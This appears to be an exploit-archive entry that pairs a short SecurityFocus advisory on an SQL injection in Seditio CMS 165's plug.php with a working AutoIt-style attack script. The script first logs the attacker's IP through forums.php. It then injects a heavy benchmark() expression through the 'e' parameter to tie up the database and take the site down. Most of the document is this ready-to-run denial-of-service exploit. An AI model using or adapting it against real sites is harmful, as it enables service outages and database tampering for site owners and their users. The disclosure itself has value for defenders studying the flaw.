Seditio CMS 165 - 'plug.php' SQL Injection

source: https://www.securityfocus.com/bid/53036/info

Seditio CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Seditio CMS 165 is vulnerable; prior versions may also be affected. 

$exploit=$targetsite & "/plug.php?e=akastep',rd_location=(benchmark(unix_timestamp(now()),sha1(md5(now())))),rd_ip='" & @IPAddress1 & "',rd_lastseen='"; //Our exploit.
$first=$targetsite & '/forums.php'; // our 1'st request will go here.

HttpSetUserAgent("I'm Denial Of Service Exploit for Seditio 165 throught sql injection"); //setting user agent 4 fun
InetGet($first,'',1);// first request.After this our IP address will be inserted to table sed_redirecter.It is neccessary to exploit.
Sleep(1500); //sleeping 1.5 second (*Waiting operation*)
HttpSetUserAgent("Exploiting!!!!");//setting our user agent again 4 fun.
InetGet($exploit,'',1,1) ; Now exploiting it with *do not wait* responce option.Until now We exploiting sql injection and causing Denial Of Service.
Exit; //exit from exploit